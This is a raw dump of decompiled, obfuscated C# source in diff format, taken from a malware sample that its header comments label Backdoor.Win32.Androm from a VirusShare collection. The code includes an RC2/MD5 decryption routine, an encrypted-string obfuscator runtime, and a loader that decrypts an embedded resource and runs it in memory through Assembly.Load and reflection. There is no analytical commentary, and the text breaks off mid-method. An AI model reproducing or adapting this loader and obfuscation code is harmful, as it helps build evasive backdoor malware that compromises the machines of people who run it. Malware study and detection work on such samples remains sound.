internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002();
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0002
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public \u0002()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal Type \u0002() => typeof (\u0005.\u0002);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T \u0002<T>(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void \u0003<T>(ref T _param1) => _param1 = default (T);
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0003<\u0002> where \u0002 : new()
|
||||
{
|
||||
[ThreadStatic]
|
||||
private static \u0002 \u0002;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public \u0003()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
internal \u0002 \u0002()
|
||||
{
|
||||
if ((object) \u0005.\u0003<\u0002>.\u0002 == null)
|
||||
\u0005.\u0003<\u0002>.\u0002 = new \u0002();
|
||||
return \u0005.\u0003<\u0002>.\u0002;
|
||||
}
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class \u0006
|
||||
{
|
||||
public static string \u0002(string _param0, string _param1)
|
||||
{
|
||||
RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
|
||||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||||
string str;
|
||||
try
|
||||
{
|
||||
byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
|
||||
cryptoServiceProvider1.Key = hash;
|
||||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||||
byte[] inputBuffer = Convert.FromBase64String(_param0);
|
||||
str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
public static byte[] \u0002(byte[] _param0, string _param1)
|
||||
{
|
||||
RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
|
||||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||||
byte[] numArray;
|
||||
try
|
||||
{
|
||||
byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
|
||||
cryptoServiceProvider1.Key = hash;
|
||||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||||
byte[] inputBuffer = _param0;
|
||||
numArray = decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using System.Threading;
|
||||
|
||||
public sealed class \u0008
|
||||
{
|
||||
public static byte[] \u0002(object _param0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MemoryStream serializationStream = new MemoryStream();
|
||||
new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0));
|
||||
return serializationStream.ToArray();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
Exception exception = ex;
|
||||
Console.WriteLine(\u000F.\u0002(580699096), (object) exception.ToString());
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
return (byte[]) null;
|
||||
}
|
||||
|
||||
public static object \u0002()
|
||||
{
|
||||
\u000E.\u0006 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
|
||||
{
|
||||
(object) 1
|
||||
}, (string[]) null), \u000F.\u0002(580699037));
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
public static void \u0002()
|
||||
{
|
||||
Thread.Sleep(0);
|
||||
\u0008.\u0002();
|
||||
Assembly.Load(\u000E.\u0006).GetType(\u0006.\u0002(\u000F.\u0002(580699019), \u000F.\u0002(580699062))).GetMethod(\u0006.\u0002(\u000F.\u0002(580699051), \u000F.\u0002(580698966))).Invoke((object) null, new object[2]
|
||||
{
|
||||
(object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
|
||||
{
|
||||
(object) 0
|
||||
}, (string[]) null), \u000F.\u0002(580698955)),
|
||||
(object) \u000E.\u0008
|
||||
});
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class \u000E
|
||||
{
|
||||
public static ResourceManager \u0002 = new ResourceManager(\u000F.\u0002(580698993), Assembly.GetExecutingAssembly());
|
||||
public static string \u0003 = Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName;
|
||||
public static RegistryKey \u0005;
|
||||
public static string \u0008 = \u000E.\u0003;
|
||||
public static byte[] \u0006;
|
||||
}
|
||||
+498
@@ -0,0 +1,498 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
|
||||
internal static class \u000F
|
||||
{
|
||||
private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002;
|
||||
private static \u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006 \u0003;
|
||||
private static byte[] \u0005;
|
||||
private static short \u0008;
|
||||
private static int \u0006;
|
||||
private static byte[] \u000E;
|
||||
private static int \u000F;
|
||||
private static int \u0002\u2000;
|
||||
private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002 \u0003\u2000;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static \u000F()
|
||||
{
|
||||
int num1 = -426164219;
|
||||
int num2 = num1 - 1979452043;
|
||||
\u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9);
|
||||
int skipFrames = 1;
|
||||
StackTrace stackTrace = new StackTrace(skipFrames, false);
|
||||
int index = skipFrames - 1;
|
||||
StackFrame frame = stackTrace.GetFrame(index);
|
||||
int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2);
|
||||
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
||||
if (frame != null)
|
||||
num3 ^= -~~--~-~~(1149007232 - num1 - num2);
|
||||
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
||||
int num4;
|
||||
if ((object) type == (object) typeof (RuntimeMethodHandle))
|
||||
{
|
||||
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000;
|
||||
num4 = num3 ^ (num1 - 1979451816 ^ num2) + index;
|
||||
}
|
||||
else if ((object) type == null)
|
||||
{
|
||||
num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2);
|
||||
\u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 1;
|
||||
}
|
||||
else if ((object) type.Assembly != (object) typeof (\u000F).Assembly)
|
||||
{
|
||||
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000;
|
||||
num4 = num3 ^ num1 - 738984598 + num2;
|
||||
}
|
||||
else
|
||||
{
|
||||
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000;
|
||||
num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index;
|
||||
}
|
||||
\u000F.\u0002\u2000 += num4;
|
||||
}
|
||||
|
||||
private static void \u0002(byte[] _param0, int _param1, byte[] _param2)
|
||||
{
|
||||
int num1 = 0;
|
||||
int num2 = 0;
|
||||
int num3 = 128;
|
||||
int length = _param2.Length;
|
||||
label_10:
|
||||
while (num1 < length)
|
||||
{
|
||||
if ((num3 <<= 1) == 256)
|
||||
{
|
||||
num3 = 1;
|
||||
num2 = (int) _param0[_param1++];
|
||||
}
|
||||
if ((num2 & num3) != 0)
|
||||
{
|
||||
int num4 = ((int) _param0[_param1] >> 2) + 3;
|
||||
int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
|
||||
_param1 += 2;
|
||||
int num6 = num1 - num5;
|
||||
if (num6 < 0)
|
||||
break;
|
||||
while (true)
|
||||
{
|
||||
if (--num4 >= 0 && num1 < length)
|
||||
_param2[num1++] = _param2[num6++];
|
||||
else
|
||||
goto label_10;
|
||||
}
|
||||
}
|
||||
else
|
||||
_param2[num1++] = _param0[_param1++];
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static string \u0002(int _param0)
|
||||
{
|
||||
int num1 = 77956711;
|
||||
int num2 = num1 + 1837816693;
|
||||
lock (\u000F.\u0002)
|
||||
{
|
||||
string str1;
|
||||
byte[] numArray1;
|
||||
int num3;
|
||||
while (true)
|
||||
{
|
||||
str1 = \u000F.\u0002.\u0002(_param0);
|
||||
if (str1 == null)
|
||||
{
|
||||
int num4;
|
||||
if (\u000F.\u0003 == null)
|
||||
{
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
Assembly.GetCallingAssembly();
|
||||
\u000F.\u0006 |= 1988982073 ^ num1 ^ num2;
|
||||
Assembly assembly1 = executingAssembly;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num5 = num1 - 1919747211 - num2;
|
||||
stringBuilder.Append((char) num5).Append((char) (num5 >> 16));
|
||||
int num6 = 1457178686 - num1 ^ num2;
|
||||
stringBuilder.Append((char) num6).Append((char) (num6 >> 16));
|
||||
int num7 = (-1768683592 ^ num1) - num2;
|
||||
stringBuilder.Append((char) (num7 >> 16)).Append((char) num7);
|
||||
int num8 = -1300740973 - num1 + num2;
|
||||
stringBuilder.Append((char) (num8 >> 16)).Append((char) num8);
|
||||
int num9 = num1 + 1837808501 ^ num2;
|
||||
stringBuilder.Append((char) num9);
|
||||
string name = stringBuilder.ToString();
|
||||
Stream manifestResourceStream = assembly1.GetManifestResourceStream(name);
|
||||
int skipFrames = 1;
|
||||
StackTrace stackTrace = new StackTrace(skipFrames, false);
|
||||
\u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames;
|
||||
int index = skipFrames - 1;
|
||||
StackFrame frame = stackTrace.GetFrame(index);
|
||||
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
||||
\u000F.\u0006 ^= index + (1993729987 - num1 ^ num2);
|
||||
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
||||
if (frame == null)
|
||||
\u000F.\u0006 ^= (1989557480 ^ num1) - num2;
|
||||
bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
|
||||
\u000F.\u0006 ^= 1837816597 + num1 ^ num2;
|
||||
if (!flag)
|
||||
{
|
||||
flag = (object) type == null;
|
||||
if (flag)
|
||||
\u000F.\u0006 ^= (num1 ^ -1988661040) + num2;
|
||||
}
|
||||
if (flag == (stackTrace != null))
|
||||
\u000F.\u0006 = 32 ^ \u000F.\u0006;
|
||||
\u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index;
|
||||
\u000F.\u0003 = new \u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006(manifestResourceStream);
|
||||
short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2));
|
||||
if (num10 == (short) 0)
|
||||
\u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2));
|
||||
else
|
||||
\u000F.\u0005 = \u000F.\u0003.\u0002((int) num10);
|
||||
Assembly assembly2 = executingAssembly;
|
||||
AssemblyName assemblyName;
|
||||
try
|
||||
{
|
||||
assemblyName = assembly2.GetName();
|
||||
}
|
||||
catch
|
||||
{
|
||||
assemblyName = new AssemblyName(assembly2.FullName);
|
||||
}
|
||||
\u000F.\u000E = assemblyName.GetPublicKeyToken();
|
||||
if (\u000F.\u000E != null && \u000F.\u000E.Length == 0)
|
||||
\u000F.\u000E = (byte[]) null;
|
||||
int num11 = \u000F.\u0002\u2000;
|
||||
\u000F.\u0002\u2000 = 0;
|
||||
long num12 = \u0003\u2000.\u0002();
|
||||
num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2);
|
||||
\u000F.\u000F = num4;
|
||||
\u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2;
|
||||
if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 0)
|
||||
\u000F.\u0006 = num1 - 1993686153 + num2;
|
||||
}
|
||||
else
|
||||
num4 = \u000F.\u000F;
|
||||
if (\u000F.\u0006 != (1989446641 ^ num1) - num2)
|
||||
{
|
||||
int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2;
|
||||
\u000F.\u0003.\u0002().Position = (long) num13;
|
||||
if (\u000F.\u0005 != null)
|
||||
{
|
||||
numArray1 = \u000F.\u0005;
|
||||
}
|
||||
else
|
||||
{
|
||||
short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13);
|
||||
if (num14 == (short) 0)
|
||||
{
|
||||
numArray1 = (byte[]) null;
|
||||
}
|
||||
else
|
||||
{
|
||||
numArray1 = \u000F.\u0003.\u0002((int) num14);
|
||||
for (int index = 0; index != numArray1.Length; ++index)
|
||||
numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3));
|
||||
}
|
||||
}
|
||||
num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4;
|
||||
if (num3 == (num1 - 1993730117 | num2))
|
||||
{
|
||||
byte[] numArray2 = \u000F.\u0003.\u0002(4);
|
||||
_param0 = (num1 ^ -999205350) + num2 ^ num4;
|
||||
_param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0;
|
||||
}
|
||||
else
|
||||
goto label_33;
|
||||
}
|
||||
else
|
||||
goto label_23;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
return str1;
|
||||
label_23:
|
||||
return new string(new char[3]
|
||||
{
|
||||
(char) (num1 - 1993730027 + num2),
|
||||
'0',
|
||||
(char) (1993730027 - num1 ^ num2)
|
||||
});
|
||||
label_33:
|
||||
bool flag1 = (num3 & num1 - 1383408779 - num2) != 0;
|
||||
bool flag2 = (num3 & -1764366269 - num1 - num2) != 0;
|
||||
bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0;
|
||||
int num15 = num3 & (num1 ^ 2036996164 ^ num2);
|
||||
byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15));
|
||||
if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2))
|
||||
{
|
||||
for (int index = 0; index < num15; ++index)
|
||||
{
|
||||
byte num16 = \u000F.\u000E[7 & index];
|
||||
byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5);
|
||||
numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17);
|
||||
}
|
||||
}
|
||||
int num18 = \u000F.\u0006 - 12;
|
||||
byte[] bytes;
|
||||
int length;
|
||||
if (!flag3)
|
||||
{
|
||||
bytes = numArray3;
|
||||
length = num15;
|
||||
}
|
||||
else
|
||||
{
|
||||
length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
|
||||
bytes = new byte[length];
|
||||
\u000F.\u0002(numArray3, 4, bytes);
|
||||
}
|
||||
string str2;
|
||||
if (flag1 && num18 == 1839424495 + num1 - num2)
|
||||
{
|
||||
char[] chArray = new char[length];
|
||||
for (int index = 0; index < length; ++index)
|
||||
chArray[index] = (char) bytes[index];
|
||||
str2 = new string(chArray);
|
||||
}
|
||||
else
|
||||
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
|
||||
int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5);
|
||||
if (num19 != num1 - 1992118185 + num2)
|
||||
{
|
||||
int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2;
|
||||
ref int local = ref num20;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num21 = num1 ^ 1989535715 ^ num2;
|
||||
stringBuilder.Append((char) (byte) num21);
|
||||
string format = stringBuilder.ToString();
|
||||
str2 = local.ToString(format);
|
||||
}
|
||||
if (!flag2)
|
||||
{
|
||||
str2 = string.Intern(str2);
|
||||
\u000F.\u0002.\u0002(_param0, str2);
|
||||
if (\u000F.\u0002.\u0002() == 9)
|
||||
{
|
||||
\u000F.\u0003.\u0003();
|
||||
\u000F.\u0003 = (\u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006) null;
|
||||
\u000F.\u0005 = \u000F.\u000E = (byte[]) null;
|
||||
}
|
||||
}
|
||||
return str2;
|
||||
}
|
||||
}
|
||||
|
||||
private sealed class \u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006
|
||||
{
|
||||
private Stream \u0002;
|
||||
private byte[] \u0003;
|
||||
|
||||
public \u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006(
|
||||
Stream _param1)
|
||||
{
|
||||
this.\u0002 = _param1;
|
||||
this.\u0003 = new byte[4];
|
||||
}
|
||||
|
||||
public Stream \u0002() => this.\u0002;
|
||||
|
||||
public short \u0002()
|
||||
{
|
||||
this.\u0002(2);
|
||||
return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8);
|
||||
}
|
||||
|
||||
public int \u0002()
|
||||
{
|
||||
this.\u0002(4);
|
||||
return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24;
|
||||
}
|
||||
|
||||
private void \u0002() => throw new EndOfStreamException();
|
||||
|
||||
private void \u0002(int _param1)
|
||||
{
|
||||
int offset = 0;
|
||||
if (_param1 == 1)
|
||||
{
|
||||
int num = this.\u0002.ReadByte();
|
||||
if (num == -1)
|
||||
this.\u0002();
|
||||
this.\u0003[0] = (byte) num;
|
||||
}
|
||||
else
|
||||
{
|
||||
do
|
||||
{
|
||||
int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset);
|
||||
if (num == 0)
|
||||
this.\u0002();
|
||||
offset += num;
|
||||
}
|
||||
while (offset < _param1);
|
||||
}
|
||||
}
|
||||
|
||||
public void \u0003()
|
||||
{
|
||||
Stream stream = this.\u0002;
|
||||
this.\u0002 = (Stream) null;
|
||||
stream?.Close();
|
||||
this.\u0003 = (byte[]) null;
|
||||
}
|
||||
|
||||
public byte[] \u0002(int _param1)
|
||||
{
|
||||
byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException();
|
||||
int length = 0;
|
||||
do
|
||||
{
|
||||
int num = this.\u0002.Read(numArray, length, _param1);
|
||||
if (num != 0)
|
||||
{
|
||||
length += num;
|
||||
_param1 -= num;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
while (_param1 > 0);
|
||||
if (length != numArray.Length)
|
||||
{
|
||||
byte[] dst = new byte[length];
|
||||
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length);
|
||||
numArray = dst;
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
|
||||
[DefaultMember("Item")]
|
||||
internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008
|
||||
{
|
||||
private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002;
|
||||
private int \u0003;
|
||||
|
||||
public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16];
|
||||
|
||||
public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(
|
||||
int _param1)
|
||||
{
|
||||
int length = 16;
|
||||
_param1 <<= 1;
|
||||
while (length < _param1 && length > 0)
|
||||
length <<= 1;
|
||||
if (length < 0)
|
||||
length = 16;
|
||||
this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length];
|
||||
}
|
||||
|
||||
public int \u0002() => this.\u0003;
|
||||
|
||||
private void \u0002()
|
||||
{
|
||||
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002;
|
||||
int length1 = objArray1.Length;
|
||||
int length2 = length1 * 2;
|
||||
if (length2 <= 0)
|
||||
return;
|
||||
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2];
|
||||
int num1 = 0;
|
||||
for (int index1 = 0; index1 < length1; ++index1)
|
||||
{
|
||||
string str = objArray1[index1].\u0003;
|
||||
if (str != null)
|
||||
{
|
||||
int num2 = objArray1[index1].\u0002;
|
||||
int index2 = num2 & length2 - 1;
|
||||
while (objArray2[index2].\u0003 != null)
|
||||
{
|
||||
++index2;
|
||||
if (index2 >= length2)
|
||||
index2 = 0;
|
||||
}
|
||||
objArray2[index2].\u0003 = str;
|
||||
objArray2[index2].\u0002 = num2;
|
||||
++num1;
|
||||
}
|
||||
}
|
||||
this.\u0002 = objArray2;
|
||||
this.\u0003 = num1;
|
||||
}
|
||||
|
||||
public string \u0002(int _param1)
|
||||
{
|
||||
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
|
||||
int length = objArray.Length;
|
||||
int index = _param1 & length - 1;
|
||||
string str = (string) null;
|
||||
while (objArray[index].\u0002 != _param1)
|
||||
{
|
||||
if (objArray[index].\u0003 != null)
|
||||
{
|
||||
++index;
|
||||
if (index >= length)
|
||||
index = 0;
|
||||
}
|
||||
else
|
||||
goto label_6;
|
||||
}
|
||||
str = objArray[index].\u0003;
|
||||
label_6:
|
||||
return str;
|
||||
}
|
||||
|
||||
public void \u0002(int _param1, string _param2)
|
||||
{
|
||||
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
|
||||
int length = objArray.Length;
|
||||
int num1 = length >> 1;
|
||||
int index = _param1 & length - 1;
|
||||
while (true)
|
||||
{
|
||||
do
|
||||
{
|
||||
int num2 = objArray[index].\u0002;
|
||||
bool flag = objArray[index].\u0003 == null;
|
||||
